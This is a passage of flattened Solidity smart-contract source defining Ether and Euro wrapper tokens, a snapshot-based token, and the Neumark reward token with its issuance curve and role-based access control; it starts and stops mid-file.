bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e;
bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72;
bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef;
bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8;
bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454;
bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb;
}
contract IMigrationTarget {
function currentMigrationSource()
public
constant
returns (address);
}
contract IMigrationSource {
event LogMigrationEnabled(
address target
);
function migrate()
public;
function enableMigration(IMigrationTarget migration)
public;
function currentMigrationTarget()
public
constant
returns (IMigrationTarget);
}
contract MigrationSource is
IMigrationSource,
AccessControlled
{
bytes32 private MIGRATION_ADMIN;
IMigrationTarget internal _migration;
modifier onlyMigrationEnabledOnce() {
require(address(_migration) == 0);
_;
}
modifier onlyMigrationEnabled() {
require(address(_migration) != 0);
_;
}
constructor(
IAccessPolicy policy,
bytes32 migrationAdminRole
)
AccessControlled(policy)
internal
{
MIGRATION_ADMIN = migrationAdminRole;
}
function migrate()
public;
function enableMigration(IMigrationTarget migration)
public
onlyMigrationEnabledOnce()
only(MIGRATION_ADMIN)
{
require(migration.currentMigrationSource() == address(this));
_migration = migration;
emit LogMigrationEnabled(_migration);
}
function currentMigrationTarget()
public
constant
returns (IMigrationTarget)
{
return _migration;
}
}
contract IsContract {
function isContract(address addr)
internal
constant
returns (bool)
{
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Reclaimable is AccessControlled, AccessRoles {
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(address(this).balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
contract TokenMetadata is ITokenMetadata {
string private NAME;
string private SYMBOL;
uint8 private DECIMALS;
string private VERSION;
constructor(
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string version
)
public
{
NAME = tokenName;
SYMBOL = tokenSymbol;
DECIMALS = decimalUnits;
VERSION = version;
}
function name()
public
constant
returns (string)
{
return NAME;
}
function symbol()
public
constant
returns (string)
{
return SYMBOL;
}
function decimals()
public
constant
returns (uint8)
{
return DECIMALS;
}
function version()
public
constant
returns (string)
{
return VERSION;
}
}
contract MTokenAllowanceController {
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
returns (bool allow);
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256 allowance);
}
contract MTokenTransferController {
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
returns (bool allow);
}
contract MTokenController is MTokenTransferController, MTokenAllowanceController {
}
contract TrustlessTokenController is
MTokenController
{
function mOnTransfer(
address ,
address ,
uint256
)
internal
returns (bool allow)
{
return true;
}
function mOnApprove(
address ,
address ,
uint256
)
internal
returns (bool allow)
{
return true;
}
}
contract IERC677Callback {
function receiveApproval(
address from,
uint256 amount,
address token,
bytes data
)
public
returns (bool success);
}
contract Math {
function absDiff(uint256 v1, uint256 v2)
internal
pure
returns(uint256)
{
return v1 > v2 ? v1 - v2 : v2 - v1;
}
function divRound(uint256 v, uint256 d)
internal
pure
returns(uint256)
{
return add(v, d/2) / d;
}
function decimalFraction(uint256 amount, uint256 frac)
internal
pure
returns(uint256)
{
return proportion(amount, frac, 10**18);
}
function proportion(uint256 amount, uint256 part, uint256 total)
internal
pure
returns(uint256)
{
return divRound(mul(amount, part), total);
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
contract MTokenTransfer {
function mTransfer(
address from,
address to,
uint256 amount
)
internal;
}
contract BasicToken is
MTokenTransfer,
MTokenTransferController,
IBasicToken,
Math
{
mapping(address => uint256) internal _balances;
uint256 internal _totalSupply;
function transfer(address to, uint256 amount)
public
returns (bool)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupply()
public
constant
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return _balances[owner];
}
function mTransfer(address from, address to, uint256 amount)
internal
{
require(to != address(0));
require(mOnTransfer(from, to, amount));
_balances[from] = sub(_balances[from], amount);
_balances[to] = add(_balances[to], amount);
emit Transfer(from, to, amount);
}
}
contract TokenAllowance is
MTokenTransfer,
MTokenAllowanceController,
IERC20Allowance,
IERC677Token
{
mapping (address => mapping (address => uint256)) private _allowed;
constructor()
internal
{
}
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining)
{
uint256 override = mAllowanceOverride(owner, spender);
if (override > 0) {
return override;
}
return _allowed[owner][spender];
}
function approve(address spender, uint256 amount)
public
returns (bool success)
{
require(mOnApprove(msg.sender, spender, amount));
require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);
_allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
uint256 allowed = mAllowanceOverride(from, msg.sender);
if (allowed == 0) {
allowed = _allowed[from][msg.sender];
_allowed[from][msg.sender] -= amount;
}
require(allowed >= amount);
mTransfer(from, to, amount);
return true;
}
function approveAndCall(
address spender,
uint256 amount,
bytes extraData
)
public
returns (bool success)
{
require(approve(spender, amount));
success = IERC677Callback(spender).receiveApproval(
msg.sender,
amount,
this,
extraData
);
require(success);
return true;
}
function mAllowanceOverride(
address ,
address
)
internal
constant
returns (uint256)
{
return 0;
}
}
contract StandardToken is
IERC20Token,
BasicToken,
TokenAllowance
{
}
contract IContractId {
function contractId() public pure returns (bytes32 id, uint256 version);
}
contract IWithdrawableToken {
function withdraw(uint256 amount)
public;
}
contract EtherToken is
IsContract,
IContractId,
AccessControlled,
StandardToken,
TrustlessTokenController,
IWithdrawableToken,
TokenMetadata,
IERC223Token,
Reclaimable
{
string private constant NAME = "Ether Token";
string private constant SYMBOL = "ETH-T";
uint8 private constant DECIMALS = 18;
event LogDeposit(
address indexed to,
uint256 amount
);
event LogWithdrawal(
address indexed from,
uint256 amount
);
event LogWithdrawAndSend(
address indexed from,
address indexed to,
uint256 amount
);
constructor(IAccessPolicy accessPolicy)
AccessControlled(accessPolicy)
StandardToken()
TokenMetadata(NAME, DECIMALS, SYMBOL, "")
Reclaimable()
public
{
}
function deposit()
public
payable
{
depositPrivate();
emit Transfer(address(0), msg.sender, msg.value);
}
function depositAndTransfer(address transferTo, uint256 amount, bytes data)
public
payable
{
depositPrivate();
transfer(transferTo, amount, data);
}
function withdraw(uint256 amount)
public
{
withdrawPrivate(amount);
msg.sender.transfer(amount);
}
function withdrawAndSend(address sendTo, uint256 amount)
public
payable
{
require(amount >= msg.value, "NF_ET_NO_DEPOSIT");
if (amount > msg.value) {
uint256 withdrawRemainder = amount - msg.value;
withdrawPrivate(withdrawRemainder);
}
emit LogWithdrawAndSend(msg.sender, sendTo, amount);
sendTo.transfer(amount);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicToken.mTransfer(msg.sender, to, amount);
if (isContract(to)) {
IERC223Callback(to).tokenFallback(msg.sender, amount, data);
}
return true;
}
function reclaim(IBasicToken token)
public
{
require(token != RECLAIM_ETHER);
Reclaimable.reclaim(token);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x75b86bc24f77738576716a36431588ae768d80d077231d1661c2bea674c6373a, 0);
}
function depositPrivate()
private
{
_balances[msg.sender] = add(_balances[msg.sender], msg.value);
_totalSupply = add(_totalSupply, msg.value);
emit LogDeposit(msg.sender, msg.value);
}
function withdrawPrivate(uint256 amount)
private
{
require(_balances[msg.sender] >= amount);
_balances[msg.sender] = sub(_balances[msg.sender], amount);
_totalSupply = sub(_totalSupply, amount);
emit LogWithdrawal(msg.sender, amount);
emit Transfer(msg.sender, address(0), amount);
}
}
contract EuroToken is
Agreement,
IERC677Token,
StandardToken,
IWithdrawableToken,
ITokenControllerHook,
TokenMetadata,
IERC223Token,
IsContract,
IContractId
{
string private constant NAME = "Euro Token";
string private constant SYMBOL = "EUR-T";
uint8 private constant DECIMALS = 18;
ITokenController private _tokenController;
event LogDeposit(
address indexed to,
address by,
uint256 amount,
bytes32 reference
);
event LogWithdrawal(
address indexed from,
uint256 amount
);
event LogWithdrawSettled(
address from,
address by,
uint256 amount,
uint256 originalAmount,
bytes32 withdrawTxHash,
bytes32 reference
);
event LogDestroy(
address indexed from,
address by,
uint256 amount
);
modifier onlyIfDepositAllowed(address to, uint256 amount) {
require(_tokenController.onGenerateTokens(msg.sender, to, amount));
_;
}
modifier onlyIfWithdrawAllowed(address from, uint256 amount) {
require(_tokenController.onDestroyTokens(msg.sender, from, amount));
_;
}
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter,
ITokenController tokenController
)
Agreement(accessPolicy, forkArbiter)
StandardToken()
TokenMetadata(NAME, DECIMALS, SYMBOL, "")
public
{
require(tokenController != ITokenController(0x0));
_tokenController = tokenController;
}
function deposit(address to, uint256 amount, bytes32 reference)
public
only(ROLE_EURT_DEPOSIT_MANAGER)
onlyIfDepositAllowed(to, amount)
acceptAgreement(to)
{
require(to != address(0));
_balances[to] = add(_balances[to], amount);
_totalSupply = add(_totalSupply, amount);
emit LogDeposit(to, msg.sender, amount, reference);
emit Transfer(address(0), to, amount);
}
function depositMany(address[] to, uint256[] amount, bytes32[] reference)
public
{
require(to.length == amount.length);
require(to.length == reference.length);
for (uint256 i = 0; i < to.length; i++) {
deposit(to[i], amount[i], reference[i]);
}
}
function withdraw(uint256 amount)
public
onlyIfWithdrawAllowed(msg.sender, amount)
acceptAgreement(msg.sender)
{
destroyTokensPrivate(msg.sender, amount);
emit LogWithdrawal(msg.sender, amount);
}
function settleWithdraw(address from, uint256 amount, uint256 originalAmount, bytes32 withdrawTxHash, bytes32 reference)
public
only(ROLE_EURT_DEPOSIT_MANAGER)
{
emit LogWithdrawSettled(from, msg.sender, amount, originalAmount, withdrawTxHash, reference);
}
function destroy(address owner, uint256 amount)
public
only(ROLE_EURT_LEGAL_MANAGER)
{
destroyTokensPrivate(owner, amount);
emit LogDestroy(owner, msg.sender, amount);
}
function changeTokenController(address newController)
public
{
require(_tokenController.onChangeTokenController(msg.sender, newController));
_tokenController = ITokenController(newController);
emit LogChangeTokenController(_tokenController, newController, msg.sender);
}
function tokenController()
public
constant
returns (address)
{
return _tokenController;
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool success)
{
return ierc223TransferInternal(msg.sender, to, amount, data);
}
function depositAndTransfer(
address depositTo,
address transferTo,
uint256 depositAmount,
uint256 transferAmount,
bytes data,
bytes32 reference
)
public
returns (bool success)
{
deposit(depositTo, depositAmount, reference);
return ierc223TransferInternal(depositTo, transferTo, transferAmount, data);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0xfb5c7e43558c4f3f5a2d87885881c9b10ff4be37e3308579c178bf4eaa2c29cd, 0);
}
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
acceptAgreement(from)
returns (bool allow)
{
address broker = msg.sender;
if (broker != from) {
bool isDepositor = accessPolicy().allowed(msg.sender, ROLE_EURT_DEPOSIT_MANAGER, this, msg.sig);
if (isDepositor) {
broker = from;
}
}
return _tokenController.onTransfer(broker, from, to, amount);
}
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return _tokenController.onApprove(owner, spender, amount);
}
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256)
{
return _tokenController.onAllowance(owner, spender);
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_EURT_LEGAL_MANAGER, this, msg.sig);
}
function destroyTokensPrivate(address owner, uint256 amount)
private
{
require(_balances[owner] >= amount);
_balances[owner] = sub(_balances[owner], amount);
_totalSupply = sub(_totalSupply, amount);
emit Transfer(owner, address(0), amount);
}
function ierc223TransferInternal(address from, address to, uint256 amount, bytes data)
private
returns (bool success)
{
BasicToken.mTransfer(from, to, amount);
if (isContract(to)) {
IERC223Callback(to).tokenFallback(from, amount, data);
}
return true;
}
}
contract Serialization {
function decodeAddress(bytes b)
internal
pure
returns (address a)
{
require(b.length == 20);
assembly {
a := and(mload(add(b, 20)), 0x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
}
contract NeumarkIssuanceCurve {
uint256 private constant NEUMARK_CAP = 1500000000000000000000000000;
uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000;
uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000;
uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000;
uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871;
uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS;
uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS;
function incremental(uint256 totalEuroUlps, uint256 euroUlps)
public
pure
returns (uint256 neumarkUlps)
{
require(totalEuroUlps + euroUlps >= totalEuroUlps);
uint256 from = cumulative(totalEuroUlps);
uint256 to = cumulative(totalEuroUlps + euroUlps);
assert(to >= from);
return to - from;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function cumulative(uint256 euroUlps)
public
pure
returns(uint256 neumarkUlps)
{
if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) {
return NEUMARK_CAP;
}
if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) {
return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS;
}
uint256 d = 230769230769230769230769231;
uint256 term = NEUMARK_CAP;
uint256 sum = 0;
uint256 denom = d;
do assembly {
term := div(mul(term, euroUlps), denom)
sum := add(sum, term)
denom := add(denom, d)
term := div(mul(term, euroUlps), denom)
sum := sub(sum, term)
denom := add(denom, d)
} while (term != 0);
return sum;
}
function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
require(maxEurUlps >= minEurUlps);
require(cumulative(minEurUlps) <= neumarkUlps);
require(cumulative(maxEurUlps) >= neumarkUlps);
uint256 min = minEurUlps;
uint256 max = maxEurUlps;
while (max > min) {
uint256 mid = (max + min) / 2;
uint256 val = cumulative(mid);
if (val < neumarkUlps) {
min = mid + 1;
} else {
max = mid;
}
}
return max;
}
function neumarkCap()
public
pure
returns (uint256)
{
return NEUMARK_CAP;
}
function initialRewardFraction()
public
pure
returns (uint256)
{
return INITIAL_REWARD_FRACTION;
}
}
contract ISnapshotable {
event LogSnapshotCreated(uint256 snapshotId);
function createSnapshot()
public
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract MSnapshotPolicy {
function mAdvanceSnapshotId()
internal
returns (uint256);
function mCurrentSnapshotId()
internal
constant
returns (uint256);
}
contract Daily is MSnapshotPolicy {
uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391;
constructor(uint256 start) internal {
if (start > 0) {
uint256 base = dayBase(uint128(block.timestamp));
require(start >= base);
require(start < base + 2**128);
}
}
function snapshotAt(uint256 timestamp)
public
constant
returns (uint256)
{
require(timestamp < MAX_TIMESTAMP);
return dayBase(uint128(timestamp));
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
return mCurrentSnapshotId();
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
return dayBase(uint128(block.timestamp));
}
function dayBase(uint128 timestamp)
internal
pure
returns (uint256)
{
return 2**128 * (uint256(timestamp) / 1 days);
}
}
contract DailyAndSnapshotable is
Daily,
ISnapshotable
{
uint256 private _currentSnapshotId;
constructor(uint256 start)
internal
Daily(start)
{
if (start > 0) {
_currentSnapshotId = start;
}
}
function createSnapshot()
public
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
} else {
_currentSnapshotId += 1;
}
emit LogSnapshotCreated(_currentSnapshotId);
return _currentSnapshotId;
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
emit LogSnapshotCreated(base);
}
return _currentSnapshotId;
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
return base > _currentSnapshotId ? base : _currentSnapshotId;
}
}
contract Snapshot is MSnapshotPolicy {
struct Values {
uint256 snapshotId;
uint256 value;
}
function hasValue(
Values[] storage values
)
internal
constant
returns (bool)
{
return values.length > 0;
}
function hasValueAt(
Values[] storage values,
uint256 snapshotId
)
internal
constant
returns (bool)
{
require(snapshotId <= mCurrentSnapshotId());
return values.length > 0 && values[0].snapshotId <= snapshotId;
}
function getValue(
Values[] storage values,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
if (values.length == 0) {
return defaultValue;
} else {
uint256 last = values.length - 1;
return values[last].value;
}
}
function getValueAt(
Values[] storage values,
uint256 snapshotId,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
require(snapshotId <= mCurrentSnapshotId());
if (values.length == 0) {
return defaultValue;
}
uint256 last = values.length - 1;
uint256 lastSnapshot = values[last].snapshotId;
if (snapshotId >= lastSnapshot) {
return values[last].value;
}
uint256 firstSnapshot = values[0].snapshotId;
if (snapshotId < firstSnapshot) {
return defaultValue;
}
uint256 min = 0;
uint256 max = last;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (values[mid].snapshotId <= snapshotId) {
min = mid;
} else {
max = mid - 1;
}
}
return values[min].value;
}
function setValue(
Values[] storage values,
uint256 value
)
internal
{
uint256 currentSnapshotId = mAdvanceSnapshotId();
bool empty = values.length == 0;
if (empty) {
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
return;
}
uint256 last = values.length - 1;
bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId;
if (hasNewSnapshot) {
bool unmodified = values[last].value == value;
if (unmodified) {
return;
}
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
} else {
bool previousUnmodified = last > 0 && values[last - 1].value == value;
if (previousUnmodified) {
delete values[last];
values.length--;
return;
}
values[last].value = value;
}
}
}
contract BasicSnapshotToken is
MTokenTransfer,
MTokenTransferController,
IClonedTokenParent,
IBasicToken,
Snapshot
{
IClonedTokenParent private PARENT_TOKEN;
uint256 private PARENT_SNAPSHOT_ID;
mapping (address => Values[]) internal _balances;
Values[] internal _totalSupplyValues;
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
Snapshot()
internal
{
PARENT_TOKEN = parentToken;
if (parentToken == address(0)) {
require(parentSnapshotId == 0);
} else {
if (parentSnapshotId == 0) {
require(parentToken.currentSnapshotId() > 0);
PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1;
} else {
PARENT_SNAPSHOT_ID = parentSnapshotId;
}
}
}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupplyAtInternal(mCurrentSnapshotId());
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return balanceOfAtInternal(owner, mCurrentSnapshotId());
}
function transfer(address to, uint256 amount)
public
returns (bool success)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256)
{
return totalSupplyAtInternal(snapshotId);
}
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256)
{
return balanceOfAtInternal(owner, snapshotId);
}
function currentSnapshotId()
public
constant
returns (uint256)
{
return mCurrentSnapshotId();
}
function parentToken()
public
constant
returns(IClonedTokenParent parent)
{
return PARENT_TOKEN;
}
function parentSnapshotId()
public
constant
returns(uint256 snapshotId)
{
return PARENT_SNAPSHOT_ID;
}
function allBalancesOf(address owner)
external
constant
returns (uint256[2][])
{
Values[] storage values = _balances[owner];
uint256[2][] memory balances = new uint256[2][](values.length);
for(uint256 ii = 0; ii < values.length; ++ii) {
balances[ii] = [values[ii].snapshotId, values[ii].value];
}
return balances;
}
function totalSupplyAtInternal(uint256 snapshotId)
internal
constant
returns(uint256)
{
Values[] storage values = _totalSupplyValues;
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (address(PARENT_TOKEN) != 0) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId);
}
return 0;
}
function balanceOfAtInternal(address owner, uint256 snapshotId)
internal
constant
returns (uint256)
{
Values[] storage values = _balances[owner];
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (PARENT_TOKEN != address(0)) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);
}
return 0;
}
function mTransfer(
address from,
address to,
uint256 amount
)
internal
{
require(to != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
require(mOnTransfer(from, to, amount));
uint256 previousBalanceFrom = balanceOf(from);
require(previousBalanceFrom >= amount);
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_balances[from], newBalanceFrom);
uint256 previousBalanceTo = balanceOf(to);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_balances[to], newBalanceTo);
emit Transfer(from, to, amount);
}
}
contract MTokenMint {
function mGenerateTokens(address owner, uint256 amount)
internal;
function mDestroyTokens(address owner, uint256 amount)
internal;
}
contract MintableSnapshotToken is
BasicSnapshotToken,
MTokenMint
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
BasicSnapshotToken(parentToken, parentSnapshotId)
internal
{}
function mGenerateTokens(address owner, uint256 amount)
internal
{
require(owner != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
uint256 newTotalSupply = curTotalSupply + amount;
require(newTotalSupply >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(owner);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceTo);
emit Transfer(0, owner, amount);
}
function mDestroyTokens(address owner, uint256 amount)
internal
{
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= amount);
uint256 previousBalanceFrom = balanceOf(owner);
require(previousBalanceFrom >= amount);
uint256 newTotalSupply = curTotalSupply - amount;
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceFrom);
emit Transfer(owner, 0, amount);
}
}
contract StandardSnapshotToken is
MintableSnapshotToken,
TokenAllowance
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
MintableSnapshotToken(parentToken, parentSnapshotId)
TokenAllowance()
internal
{}
}
contract IERC223LegacyCallback {
function onTokenTransfer(address from, uint256 amount, bytes data)
public;
}
contract Neumark is
AccessControlled,
AccessRoles,
Agreement,
DailyAndSnapshotable,
StandardSnapshotToken,
TokenMetadata,
IERC223Token,
NeumarkIssuanceCurve,
Reclaimable,
IsContract
{
string private constant TOKEN_NAME = "Neumark";
uint8 private constant TOKEN_DECIMALS = 18;
string private constant TOKEN_SYMBOL = "NEU";
string private constant VERSION = "NMK_1.0";
bool private _transferEnabled = false;
uint256 private _totalEurUlps;
event LogNeumarksIssued(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
event LogNeumarksBurned(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
AccessRoles()
Agreement(accessPolicy, forkArbiter)
StandardSnapshotToken(
IClonedTokenParent(0x0),
0
)
TokenMetadata(
TOKEN_NAME,
TOKEN_DECIMALS,
TOKEN_SYMBOL,
VERSION
)
DailyAndSnapshotable(0)
NeumarkIssuanceCurve()
Reclaimable()
public
{}
function issueForEuro(uint256 euroUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(msg.sender)
returns (uint256)
{
require(_totalEurUlps + euroUlps >= _totalEurUlps);
uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);
_totalEurUlps += euroUlps;
mGenerateTokens(msg.sender, neumarkUlps);
emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);
return neumarkUlps;
}
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
function burn(uint256 neumarkUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, 0, _totalEurUlps);
}
function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, minEurUlps, maxEurUlps);
}
function enableTransfer(bool enabled)
public
only(ROLE_TRANSFER_ADMIN)
{
_transferEnabled = enabled;
}
function createSnapshot()
public
only(ROLE_SNAPSHOT_CREATOR)
returns (uint256)
{
return DailyAndSnapshotable.createSnapshot();
}
function transferEnabled()
public
constant
returns (bool)
{
return _transferEnabled;
}
function totalEuroUlps()
public
constant
returns (uint256)
{
return _totalEurUlps;
}
function incremental(uint256 euroUlps)
public
constant
returns (uint256 neumarkUlps)
{
return incremental(_totalEurUlps, euroUlps);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicSnapshotToken.mTransfer(msg.sender, to, amount);
if (isContract(to)) {
IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);
}
return true;
}
function mOnTransfer(
address from,
address,
uint256
)
internal
acceptAgreement(from)
returns (bool allow)
{
return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig);
}
function mOnApprove(
address owner,
address,
uint256
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return true;
}
function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
private
{
uint256 prevEuroUlps = _totalEurUlps;
mDestroyTokens(msg.sender, burnNeumarkUlps);
_totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps);
assert(prevEuroUlps >= _totalEurUlps);
uint256 euroUlps = prevEuroUlps - _totalEurUlps;
emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps);
}
}
contract IFeeDisbursal is IERC223Callback {
}
contract IPlatformPortfolio is IERC223Callback {
}
contract ITokenExchangeRateOracle {
function getExchangeRate(address numeratorToken, address denominatorToken)
public
constant
returns (uint256 rateFraction, uint256 timestamp);
function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens)
public
constant
returns (uint256[] rateFractions, uint256[] timestamps);
}
contract Universe is
Agreement,
IContractId,
KnownInterfaces
{
event LogSetSingleton(
bytes4 interfaceId,
address instance,
address replacedInstance
);
event LogSetCollectionInterface(
bytes4 interfaceId,
address instance,
bool isSet
);
